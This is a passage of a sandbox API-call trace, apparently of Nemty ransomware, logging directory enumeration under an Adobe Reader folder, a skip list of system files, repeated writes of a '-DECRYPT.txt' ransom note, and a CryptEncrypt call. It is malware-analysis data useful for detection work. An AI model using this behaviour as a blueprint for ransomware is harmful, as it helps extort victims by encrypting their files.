lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0172.823] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.824] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0172.824] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0172.824] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0172.824] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0172.824] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.824] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0172.824] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0172.824] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0172.824] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0172.824] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0172.824] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed08, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0172.824] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0172.824] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94310 [0172.824] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0172.824] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0172.824] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.824] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1aa24230, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x1aa24230, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1aa24230, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0172.824] FindClose (in: hFindFile=0x3423ab0 | out: hFindFile=0x3423ab0) returned 1 [0172.824] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0172.824] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0172.824] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94200 | out: hHeap=0x4f90000) returned 1 [0172.824] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81ce9900, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81ce9900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81ce9900, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="HRV", cAlternateFileName="")) returned 1 [0172.824] lstrcmpiW (lpString1="HRV", lpString2=".") returned 1 [0172.824] lstrcmpiW (lpString1="HRV", lpString2="..") returned 1 [0172.824] lstrcmpiW (lpString1="HRV", lpString2="...") returned 1 [0172.824] lstrcmpiW (lpString1="HRV", lpString2="windows") returned -1 [0172.824] lstrcmpiW (lpString1="HRV", lpString2="$RECYCLE.BIN") returned 1 [0172.824] lstrcmpiW (lpString1="HRV", lpString2="rsa") returned -1 [0172.824] lstrcmpiW (lpString1="HRV", lpString2="NTDETECT.COM") returned -1 [0172.824] lstrcmpiW (lpString1="HRV", lpString2="ntldr") returned -1 [0172.824] lstrcmpiW (lpString1="HRV", lpString2="MSDOS.SYS") returned -1 [0172.825] lstrcmpiW (lpString1="HRV", lpString2="IO.SYS") returned -1 [0172.825] lstrcmpiW (lpString1="HRV", lpString2="boot.ini") returned 1 [0172.825] lstrcmpiW (lpString1="HRV", lpString2="boot.ini") returned 1 [0172.825] lstrcmpiW (lpString1="HRV", lpString2="AUTOEXEC.BAT") returned 1 [0172.825] lstrcmpiW (lpString1="HRV", lpString2="ntuser.dat") returned -1 [0172.825] lstrcmpiW (lpString1="HRV", lpString2="desktop.ini") returned 1 [0172.825] lstrcmpiW (lpString1="HRV", lpString2="CONFIG.SYS") returned 1 [0172.825] lstrcmpiW (lpString1="HRV", lpString2="RECYCLER") returned -1 [0172.825] lstrcmpiW (lpString1="HRV", lpString2="BOOTSECT.BAK") returned 1 [0172.825] lstrcmpiW (lpString1="HRV", lpString2="bootmgr") returned 1 [0172.825] lstrcmpiW (lpString1="HRV", lpString2="programdata") returned -1 [0172.825] lstrcmpiW (lpString1="HRV", lpString2="appdata") returned 1 [0172.825] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="HRV", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0172.825] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="HRV", cchWideChar=3, lpMultiByteStr=0x653ebd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HRV", lpUsedDefaultChar=0x0) returned 3 [0172.825] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="HRV", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0172.825] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="HRV", cchWideChar=3, lpMultiByteStr=0x653ebd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HRV", lpUsedDefaultChar=0x0) returned 3 [0172.825] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94200 [0172.825] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94178 | out: hHeap=0x4f90000) returned 1 [0172.825] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94178 [0172.825] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0172.825] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0172.825] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.825] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0172.825] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0172.825] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.825] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94288 [0172.825] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0172.825] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x4f94330 [0172.825] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0172.825] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\hrv\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0172.826] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94330 | out: hHeap=0x4f90000) returned 1 [0172.826] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0172.826] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eb80, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eb80*=0xef8, lpOverlapped=0x0) returned 1 [0172.827] CloseHandle (hObject=0x254) returned 1 [0172.827] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0172.827] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94178 | out: hHeap=0x4f90000) returned 1 [0172.827] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94178 [0172.827] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94288 [0172.827] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94310 [0172.827] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0172.827] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0172.827] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0172.827] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0172.827] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.827] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0172.827] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0172.827] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.827] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63400f0 [0172.827] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0172.827] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\hrv\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0172.828] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0172.828] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0172.828] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e840, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e840*=0xef8, lpOverlapped=0x0) returned 1 [0172.829] CloseHandle (hObject=0x254) returned 1 [0172.829] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0172.829] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0172.829] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94310 [0172.829] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\*.*", lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81ce9900, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1aa704f0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1aa704f0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423ab0 [0172.829] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0172.829] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81ce9900, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1aa704f0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1aa704f0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0172.829] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0172.829] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0172.829] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81ce9900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x470, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="eula.ini", cAlternateFileName="")) returned 1 [0172.829] lstrcmpiW (lpString1="eula.ini", lpString2=".") returned 1 [0172.829] lstrcmpiW (lpString1="eula.ini", lpString2="..") returned 1 [0172.829] lstrcmpiW (lpString1="eula.ini", lpString2="...") returned 1 [0172.829] lstrcmpiW (lpString1="eula.ini", lpString2="windows") returned -1 [0172.829] lstrcmpiW (lpString1="eula.ini", lpString2="$RECYCLE.BIN") returned 1 [0172.829] lstrcmpiW (lpString1="eula.ini", lpString2="rsa") returned -1 [0172.829] lstrcmpiW (lpString1="eula.ini", lpString2="NTDETECT.COM") returned -1 [0172.829] lstrcmpiW (lpString1="eula.ini", lpString2="ntldr") returned -1 [0172.829] lstrcmpiW (lpString1="eula.ini", lpString2="MSDOS.SYS") returned -1 [0172.830] lstrcmpiW (lpString1="eula.ini", lpString2="IO.SYS") returned -1 [0172.830] lstrcmpiW (lpString1="eula.ini", lpString2="boot.ini") returned 1 [0172.830] lstrcmpiW (lpString1="eula.ini", lpString2="boot.ini") returned 1 [0172.830] lstrcmpiW (lpString1="eula.ini", lpString2="AUTOEXEC.BAT") returned 1 [0172.830] lstrcmpiW (lpString1="eula.ini", lpString2="ntuser.dat") returned -1 [0172.830] lstrcmpiW (lpString1="eula.ini", lpString2="desktop.ini") returned 1 [0172.830] lstrcmpiW (lpString1="eula.ini", lpString2="CONFIG.SYS") returned 1 [0172.830] lstrcmpiW (lpString1="eula.ini", lpString2="RECYCLER") returned -1 [0172.830] lstrcmpiW (lpString1="eula.ini", lpString2="BOOTSECT.BAK") returned 1 [0172.830] lstrcmpiW (lpString1="eula.ini", lpString2="bootmgr") returned 1 [0172.830] lstrcmpiW (lpString1="eula.ini", lpString2="programdata") returned -1 [0172.830] lstrcmpiW (lpString1="eula.ini", lpString2="appdata") returned 1 [0172.830] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.830] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0172.830] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x653e890, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eula.ini", lpUsedDefaultChar=0x0) returned 8 [0172.830] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0172.830] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0172.830] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x653e890, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eula.ini", lpUsedDefaultChar=0x0) returned 8 [0172.830] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0172.830] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.830] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.830] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0172.830] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x653e8e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eula.ini", lpUsedDefaultChar=0x0) returned 8 [0172.830] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.830] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.830] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0172.830] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x653e918, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eula.ini", lpUsedDefaultChar=0x0) returned 8 [0172.830] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.830] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0172.830] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0172.830] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81ce9900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc490, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="license.html", cAlternateFileName="LICENS~1.HTM")) returned 1 [0172.831] lstrcmpiW (lpString1="license.html", lpString2=".") returned 1 [0172.831] lstrcmpiW (lpString1="license.html", lpString2="..") returned 1 [0172.831] lstrcmpiW (lpString1="license.html", lpString2="...") returned 1 [0172.831] lstrcmpiW (lpString1="license.html", lpString2="windows") returned -1 [0172.831] lstrcmpiW (lpString1="license.html", lpString2="$RECYCLE.BIN") returned 1 [0172.831] lstrcmpiW (lpString1="license.html", lpString2="rsa") returned -1 [0172.831] lstrcmpiW (lpString1="license.html", lpString2="NTDETECT.COM") returned -1 [0172.831] lstrcmpiW (lpString1="license.html", lpString2="ntldr") returned -1 [0172.831] lstrcmpiW (lpString1="license.html", lpString2="MSDOS.SYS") returned -1 [0172.831] lstrcmpiW (lpString1="license.html", lpString2="IO.SYS") returned 1 [0172.831] lstrcmpiW (lpString1="license.html", lpString2="boot.ini") returned 1 [0172.831] lstrcmpiW (lpString1="license.html", lpString2="boot.ini") returned 1 [0172.831] lstrcmpiW (lpString1="license.html", lpString2="AUTOEXEC.BAT") returned 1 [0172.831] lstrcmpiW (lpString1="license.html", lpString2="ntuser.dat") returned -1 [0172.831] lstrcmpiW (lpString1="license.html", lpString2="desktop.ini") returned 1 [0172.831] lstrcmpiW (lpString1="license.html", lpString2="CONFIG.SYS") returned 1 [0172.831] lstrcmpiW (lpString1="license.html", lpString2="RECYCLER") returned -1 [0172.831] lstrcmpiW (lpString1="license.html", lpString2="BOOTSECT.BAK") returned 1 [0172.831] lstrcmpiW (lpString1="license.html", lpString2="bootmgr") returned 1 [0172.831] lstrcmpiW (lpString1="license.html", lpString2="programdata") returned -1 [0172.831] lstrcmpiW (lpString1="license.html", lpString2="appdata") returned 1 [0172.831] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.831] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0172.831] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="license.html", lpUsedDefaultChar=0x0) returned 12 [0172.831] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0172.831] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0172.831] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="license.html", lpUsedDefaultChar=0x0) returned 12 [0172.831] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0172.831] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.831] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.831] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0172.831] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x653e8e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="license.html", lpUsedDefaultChar=0x0) returned 12 [0172.832] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.832] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.832] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0172.832] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x653e918, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="license.html", lpUsedDefaultChar=0x0) returned 12 [0172.832] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.832] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0172.832] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0172.832] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0172.832] Sleep (dwMilliseconds=0x5) [0172.846] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1aabc7b0, dwHighDateTime=0x1d561e8)) [0172.846] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1aabc7b0, dwHighDateTime=0x1d561e8)) [0172.846] GetLastError () returned 0xb7 [0172.846] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0172.846] GetLastError () returned 0xb7 [0172.846] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.846] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0172.846] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0172.846] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0172.846] 